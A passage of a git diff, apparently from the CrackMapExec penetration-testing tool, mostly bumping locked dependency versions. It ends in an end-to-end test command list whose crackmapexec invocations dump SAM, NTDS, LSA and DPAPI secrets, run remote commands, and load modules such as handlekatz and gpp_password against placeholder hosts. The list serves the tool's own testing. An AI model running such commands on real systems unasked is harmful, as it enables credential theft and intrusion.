"sha256:69cdf53799e63f38b95b9bf9c875f8c90e78dd62b2f00c13a911c7a3b9fa4704"}, + {file = "rich-13.3.5.tar.gz", hash = "sha256:2d11b9b8dd03868f09b4fffadc84a6a8cda574e40dc90821bd845720ebb8e89c"}, ] [package.dependencies] @@ -2150,19 +2129,19 @@ jupyter = ["ipywidgets (>=7.5.1,<9)"] [[package]] name = "setuptools" -version = "67.6.0" +version = "67.8.0" description = "Easily download, build, install, upgrade, and uninstall Python packages" category = "dev" optional = false python-versions = ">=3.7" files = [ - {file = "setuptools-67.6.0-py3-none-any.whl", hash = "sha256:b78aaa36f6b90a074c1fa651168723acbf45d14cb1196b6f02c0fd07f17623b2"}, - {file = "setuptools-67.6.0.tar.gz", hash = "sha256:2ee892cd5f29f3373097f5a814697e397cf3ce313616df0af11231e2ad118077"}, + {file = "setuptools-67.8.0-py3-none-any.whl", hash = "sha256:5df61bf30bb10c6f756eb19e7c9f3b473051f48db77fddbe06ff2ca307df9a6f"}, + {file = "setuptools-67.8.0.tar.gz", hash = "sha256:62642358adc77ffa87233bc4d2354c4b2682d214048f500964dbe760ccedf102"}, ] [package.extras] docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (==0.8.3)", "sphinx-reredirects", "sphinxcontrib-towncrier"] -testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8 (<5)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-flake8", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] +testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-ruff", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"] testing-integration = ["build[virtualenv]", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"] [[package]] @@ -2196,65 +2175,65 @@ files = [ [[package]] name = "soupsieve" -version = "2.4" +version = "2.4.1" description = "A modern CSS selector implementation for Beautiful Soup." category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "soupsieve-2.4-py3-none-any.whl", hash = "sha256:49e5368c2cda80ee7e84da9dbe3e110b70a4575f196efb74e51b94549d921955"}, - {file = "soupsieve-2.4.tar.gz", hash = "sha256:e28dba9ca6c7c00173e34e4ba57448f0688bb681b7c5e8bf4971daafc093d69a"}, + {file = "soupsieve-2.4.1-py3-none-any.whl", hash = "sha256:1c1bfee6819544a3447586c889157365a27e10d88cde3ad3da0cf0ddf646feb8"}, + {file = "soupsieve-2.4.1.tar.gz", hash = "sha256:89d12b2d5dfcd2c9e8c22326da9d9aa9cb3dfab0a83a024f05704076ee8d35ea"}, ] [[package]] name = "sqlalchemy" -version = "2.0.7" +version = "2.0.15" description = "Database Abstraction Library" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "SQLAlchemy-2.0.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7917632606fc5d4be661dcde45cc415df835e594e2c50cc999a44f24b6bf6d92"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:32f508fef9c5a7d19411d94ef64cf5405e42c4689e51ddbb81ac9a7be045cce8"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b0995b92612979d208189245bf87349ad9243b97b49652347a28ddee0803225a"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cebd161f964af58290596523c65e41a5a161a99f7212b1ae675e288a4b5e0a7c"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:c38641f5c3714505d65dbbd8fb1350408b9ad8461769ec8e440e1177f9c92d1d"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:921485d1f69ed016e1f756de67d02ad4f143eb6b92b9776bfff78786d8978ab5"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-win32.whl", hash = "sha256:a65a8fd09bdffd63fa23b39cd902e6a4ca23d86ecfe129513e43767a1f3e91fb"}, - {file = "SQLAlchemy-2.0.7-cp310-cp310-win_amd64.whl", hash = "sha256:d2e7411d5ea164c6f4d003f5d4f5e72e202956aaa7496b95bb4a4c39669e001c"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:432cfd77642771ee7ea0dd0f3fb664f18506a3625eab6e6d5d1d771569171270"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ce076e25f1170000b4ecdc57a1ff8a70dbe4a5648ec3da0563ef3064e8db4f15"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14854bdb2a35af536d14f77dfa8dbc20e1bb1972996d64c4147e0d3165c9aaf5"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9020125e3be677c64d4dda7048e247343f1663089cf268a4cc98c957adb7dbe0"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fb649c5473f79c9a7b6133f53a31f4d87de14755c79224007eb7ec76e628551e"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:33f73cc45ffa050f5c3b60ff4490e0ae9e02701461c1600d5ede1b008076b1b9"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-win32.whl", hash = "sha256:0789e199fbce8cb1775337afc631ed12bcc5463dd77d7a06b8dafd758cde51f8"}, - {file = "SQLAlchemy-2.0.7-cp311-cp311-win_amd64.whl", hash = "sha256:013f4f330001e84a2b0ef1f2c9bd73169c79d582e54e1a144be1be1dbc911711"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4339110be209fea37a2bb4f35f1127c7562a0393e9e6df5d9a65cc4f5c167cb6"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e7e61e2e4dfe175dc3510889e44eda1c32f55870d6950ef40519640cb266704d"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6d44ff7573016fc26311b5a5c54d5656fb9e0c39e138bc8b81cb7c8667485203"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:57b80e877eb6ec63295835f8a3b86ca3a44829f80c4748e1b019e03adea550fc"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:e90f0be674e0845c5c1ccfa5e31c9ee28fd406546a61afc734355cc7ea1f8f8b"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-win32.whl", hash = "sha256:e735a635126b2338dfd3a0863b675437cb53d85885a7602b8cffb24345df33ed"}, - {file = "SQLAlchemy-2.0.7-cp37-cp37m-win_amd64.whl", hash = "sha256:ea1c63e61b5c13161c8468305f0a5837c80aae2070e33654c68dd12572b638eb"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cc337b96ec59ef29907eeadc2ac11188739281568f14c719e61550ca6d201a41"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:0eac488be90dd3f7a655d2e34fa59e1305fccabc4abfbd002e3a72ae10bd2f89"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b8ab8f90f4a13c979e6c41c9f011b655c1b9ae2df6cffa8fa2c7c4d740f3512e"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc370d53fee7408330099c4bcc2573a107757b203bc61f114467dfe586a0c7bd"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:494db0026918e3f707466a1200a5dedbf254a4bce01a3115fd95f04ba8258f09"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:486015a58c9a67f65a15b4f19468b35b97cee074ae55386a9c240f1da308fbfe"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-win32.whl", hash = "sha256:5f7c40ec2e3b31293184020daba95850832bea523a08496ac89b27a5276ec804"}, - {file = "SQLAlchemy-2.0.7-cp38-cp38-win_amd64.whl", hash = "sha256:3da3dff8d9833a7d7f66a3c45a79a3955f775c79f47bb7eea266d0b4c267b17a"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:774965c41b71c8ebe3c5728bf5b9a948231fc3a0422d9fdace0686f5bb689ad6"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:94556a2a7fc3de094ea056b62845e2e6e271e26d1e1b2540a1cd2d2506257a10"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f15c54713a8dd57a01c974c9f96476688f6f6374d348819ed7e459535844b614"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ea9461f6955f3cf9eff6eeec271686caed7792c76f5b966886a36a42ea46e6b2"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:18795e87601b4244fd08b542cd6bff9ef674b17bcd34e4a3c9935398e2cc762c"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0b698440c477c00bdedff87348b19a79630a235864a8f4378098d61079c16ce9"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-win32.whl", hash = "sha256:38e26cf6b9b4c6c37846f7e31b42e4d664b35f055691265f07e06aeb6167c494"}, - {file = "SQLAlchemy-2.0.7-cp39-cp39-win_amd64.whl", hash = "sha256:a6f7d1debb233f1567d700ebcdde0781a0b63db0ef266246dfbf75ae41bfdf85"}, - {file = "SQLAlchemy-2.0.7-py3-none-any.whl", hash = "sha256:fc67667c8e8c04e5c3250ab2cd51df40bc7c28c7c253d0475b377eff86fe4bb0"}, - {file = "SQLAlchemy-2.0.7.tar.gz", hash = "sha256:a4c1e1582492c66dfacc9eab52738f3e64d9a2a380e412668f75aa06e540f649"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:78303719c6f72af97814b0072ad18bee72e70adca8d95cf8fecd59c5e1ddb040"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9d810b4aacd5ef4e293aa4ea01f19fca53999e9edcfc4a8ef1146238b30bdc28"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3fb5d09f1d51480f711b69fe28ad42e4f8b08600a85ab2473baee669e1257800"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51b19887c96d405599880da6a7cbdf8545a7e78ec5683e46a43bac8885e32d0f"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d6b17cb86908e7f88be14007d6afe7d2ab11966e373044137f96a6a4d83eb21c"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df25052b92bd514357a9b370d74f240db890ea79aaa428fb893520e10ee5bc18"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-win32.whl", hash = "sha256:55ec62ddc0200b4fee94d11abbec7aa25948d5d21cb8df8807f4bdd3c51ba44b"}, + {file = "SQLAlchemy-2.0.15-cp310-cp310-win_amd64.whl", hash = "sha256:ae1d8deb391ab39cc8f0d5844e588a115ae3717e607d91482023917f920f777f"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4670ce853cb25f72115a1bbe366ae13cf3f28fc5c87222df14f8d3d55d51816e"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cea7c4a3dfc2ca61f88a2b1ddd6b0bfbd116c9b1a361b3b66fd826034b833142"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f5784dfb2d45c19cde03c45c04a54bf47428610106197ed6e6fa79f33bc63d3"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b31ebde27575b3b0708673ec14f0c305c4564d995b545148ab7ac0f4d9b847a"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6b42913a0259267e9ee335da0c36498077799e59c5e332d506e72b4f32de781d"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6a3f8020e013e9b3b7941dcf20b0fc8f7429daaf7158760846731cbd8caa5e45"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-win32.whl", hash = "sha256:88ab245ed2c96265441ed2818977be28c840cfa5204ba167425d6c26eb67b7e7"}, + {file = "SQLAlchemy-2.0.15-cp311-cp311-win_amd64.whl", hash = "sha256:5cc48a7fda2b5c5b8860494d6c575db3a101a68416492105fed6591dc8a2728a"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f6fd3c88ea4b170d13527e93be1945e69facd917661d3725a63470eb683fbffe"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e885dacb167077df15af2f9ccdacbd7f5dd0d538a6d74b94074f2cefc7bb589"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:201a99f922ac8c780b3929128fbd9df901418877c70e160e19adb05665e51c31"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:e17fdcb8971e77c439113642ca8861f9465e21fc693bd3916654ceef3ac26883"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:db269f67ed17b07e80aaa8fba1f650c0d84aa0bdd9d5352e4ac38d5bf47ac568"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-win32.whl", hash = "sha256:994a75b197662e0608b6a76935d7c345f7fd874eac0b7093d561033db61b0e8c"}, + {file = "SQLAlchemy-2.0.15-cp37-cp37m-win_amd64.whl", hash = "sha256:4d61731a35eddb0f667774fe15e5a4831e444d066081d1e809e1b8a0e3f97cae"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f7f994a53c0e6b44a2966fd6bfc53e37d34b7dca34e75b6be295de6db598255e"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:79bfe728219239bdc493950ea4a4d15b02138ecb304771f9024d0d6f5f4e3706"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d6320a1d175447dce63618ec997a53836de48ed3b44bbe952f0b4b399b19941"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f80a9c9a9af0e4bd5080cc0955ce70274c28e9b931ad7e0fb07021afcd32af6"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:4a75fdb9a84072521bb2ebd31eefe1165d4dccea3039dda701a864f4b5daa17f"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:21c89044fc48a25c2184eba332edeffbbf9367913bb065cd31538235d828f06f"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-win32.whl", hash = "sha256:1a0754c2d9f0c7982bec0a31138e495ed1f6b8435d7e677c45be60ec18370acf"}, + {file = "SQLAlchemy-2.0.15-cp38-cp38-win_amd64.whl", hash = "sha256:bc5c2b0da46c26c5f73f700834f871d0723e1e882641932468d56833bab09775"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:670ecf74ee2e70b917028a06446ad26ff9b1195e84b09c3139c215123d57dc30"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d14282bf5b4de87f922db3c70858953fd081ef4f05dba6cca3dd705daffe1cc9"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:256b2b9660e51ad7055a9835b12717416cf7288afcf465107413917b6bb2316f"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:810199d1c5b43603a9e815ae9487aef3ab1ade7ed9c0c485e12519358929fbfe"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:536c86ec81ca89291d533ff41a3a05f9e4e88e01906dcee0751fc7082f3e8d6c"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:435f6807fa6a0597d84741470f19db204a7d34625ea121abd63e8d95f673f0c4"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-win32.whl", hash = "sha256:da7381a883aee20b7d2ffda17d909b38134b6a625920e65239a1c681881df800"}, + {file = "SQLAlchemy-2.0.15-cp39-cp39-win_amd64.whl", hash = "sha256:788d1772fb8dcd12091ca82809eef504ce0f2c423e45284bc351b872966ff554"}, + {file = "SQLAlchemy-2.0.15-py3-none-any.whl", hash = "sha256:933d30273861fe61f014ce2a7e3c364915f5efe9ed250ec1066ca6ea5942c0bd"}, + {file = "SQLAlchemy-2.0.15.tar.gz", hash = "sha256:2e940a8659ef870ae10e0d9e2a6d5aaddf0ff6e91f7d0d7732afc9e8c4be9bbc"}, ] [package.dependencies] @@ -2389,14 +2368,14 @@ files = [ [[package]] name = "typing-extensions" -version = "4.5.0" +version = "4.6.1" description = "Backported and Experimental Type Hints for Python 3.7+" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "typing_extensions-4.5.0-py3-none-any.whl", hash = "sha256:fb33085c39dd998ac16d1431ebc293a8b3eedd00fd4a32de0ff79002c19511b4"}, - {file = "typing_extensions-4.5.0.tar.gz", hash = "sha256:5cb5f4a79139d699607b3ef622a1dedafa84e115ab0024e0d9c044a9479ca7cb"}, + {file = "typing_extensions-4.6.1-py3-none-any.whl", hash = "sha256:6bac751f4789b135c43228e72de18637e9a6c29d12777023a703fd1a6858469f"}, + {file = "typing_extensions-4.6.1.tar.gz", hash = "sha256:558bc0c4145f01e6405f4a5fdbd82050bd221b119f4bf72a961a1cfd471349d6"}, ] [[package]] @@ -2415,20 +2394,21 @@ pycryptodomex = "*" [[package]] name = "urllib3" -version = "1.26.15" +version = "2.0.2" description = "HTTP library with thread-safe connection pooling, file post, and more." category = "main" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*" +python-versions = ">=3.7" files = [ - {file = "urllib3-1.26.15-py2.py3-none-any.whl", hash = "sha256:aa751d169e23c7479ce47a0cb0da579e3ede798f994f5816a74e4f4500dcea42"}, - {file = "urllib3-1.26.15.tar.gz", hash = "sha256:8a388717b9476f934a21484e8c8e61875ab60644d29b9b39e11e4b9dc1c6b305"}, + {file = "urllib3-2.0.2-py3-none-any.whl", hash = "sha256:d055c2f9d38dc53c808f6fdc8eab7360b6fdbbde02340ed25cfbcd817c62469e"}, + {file = "urllib3-2.0.2.tar.gz", hash = "sha256:61717a1095d7e155cdb737ac7bb2f4324a858a1e2e6466f6d03ff630ca68d3cc"}, ] [package.extras] -brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"] -secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"] -socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"] +brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] +secure = ["certifi", "cryptography (>=1.9)", "idna (>=2.0.0)", "pyopenssl (>=17.1.0)", "urllib3-secure-extra"] +socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] +zstd = ["zstandard (>=0.18.0)"] [[package]] name = "wcwidth" @@ -2591,4 +2571,4 @@ testing = ["big-O", "flake8 (<5)", "jaraco.functools", "jaraco.itertools", "more [metadata] lock-version = "2.0" python-versions = "^3.7.0" -content-hash = "d9b6bb394b17b9c55a33259374da77853529ad1b324da5be366c1e34ecee4dd9" +content-hash = "ad238d7ceb810d2b90bb7e49834c309971647db875cc3f39bab8cfdeae992a45" diff --git a/pyproject.toml b/pyproject.toml index 06079163..b74b019f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "crackmapexec" -version = "5.4.6" +version = "5.4.7" description = "A swiss army knife for pentesting networks" authors = ["Marcello Salvati ", "Martial Puygrenier "] readme = "README.md" @@ -35,7 +35,7 @@ neo4j = "^4.1.1" pylnk3 = "^0.4.2" pypsrp = "^0.7.0" paramiko = "^2.7.2" -impacket = { git = "https://github.com/mpgn/impacket.git", branch = "master" } +impacket = { git = "https://github.com/mpgn/impacket.git", branch = "gkdi" } dsinternals = "^1.2.4" xmltodict = "^0.12.0" terminaltables = "^3.1.0" @@ -51,6 +51,8 @@ masky = "^0.2.0" sqlalchemy = "^2.0.4" aiosqlite = "^0.18.0" pytest = "^7.2.2" +pyasn1-modules = "^0.3.0" +rich = "^13.3.5" [tool.poetry.dev-dependencies] flake8 = "*" diff --git a/tests/README.md b/tests/README.md index 73b7a4a5..d663adda 100644 --- a/tests/README.md +++ b/tests/README.md @@ -7,4 +7,5 @@ ### End to End Tests * Install CME (either in venv or via Poetry) * Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter - * Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS` \ No newline at end of file + * Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS` +* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag \ No newline at end of file diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 339ad590..2664c3d6 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -1,196 +1,197 @@ ##### SMB -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --shares --filter-shares READ WRITE -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --pass-pol -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --disks -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --groups -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --sessions -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --loggedon-users -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --users -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --computers -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --rid-brute -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --local-groups -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --local-auth -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --sam -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --ntds -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --lsa -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --dpapi -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -x whoami -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -X whoami --obfs -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS --wmi "select Name from win32_computersystem" +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS # need an extra space after this command due to regex +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --shares +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --shares --filter-shares READ WRITE +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --pass-pol +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --disks +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --groups +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --sessions +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --loggedon-users +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --users +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --computers +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --rid-brute +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-groups +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --gen-relay-list /tmp/relaylistOutputFilename.txt +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --local-auth +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --sam +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --ntds +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --lsa +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --dpapi +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -x whoami +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -X whoami +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS -X whoami --obfs +crackmapexec smb TARGET_HOST -u USERNAME -p PASSWORD KERBEROS --wmi "select Name from win32_computersystem" ##### SMB Modules -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -L -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M bh_owned -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M dfscoerce -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M drop-sc -o CLEANUP=True -# crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M empire_exec -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_av -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M firefox -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M get_netconnections -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_autologin -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M gpp_password -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz --options -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M handlekatz -o HANDLEKATZ_EXE_NAME="hk.exe" -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M hash_spider -crackmapexec smb TARGET -u USERNAME -p PASSWORD KERBEROS -M impersonate -crackmapexec smb TARGET -u 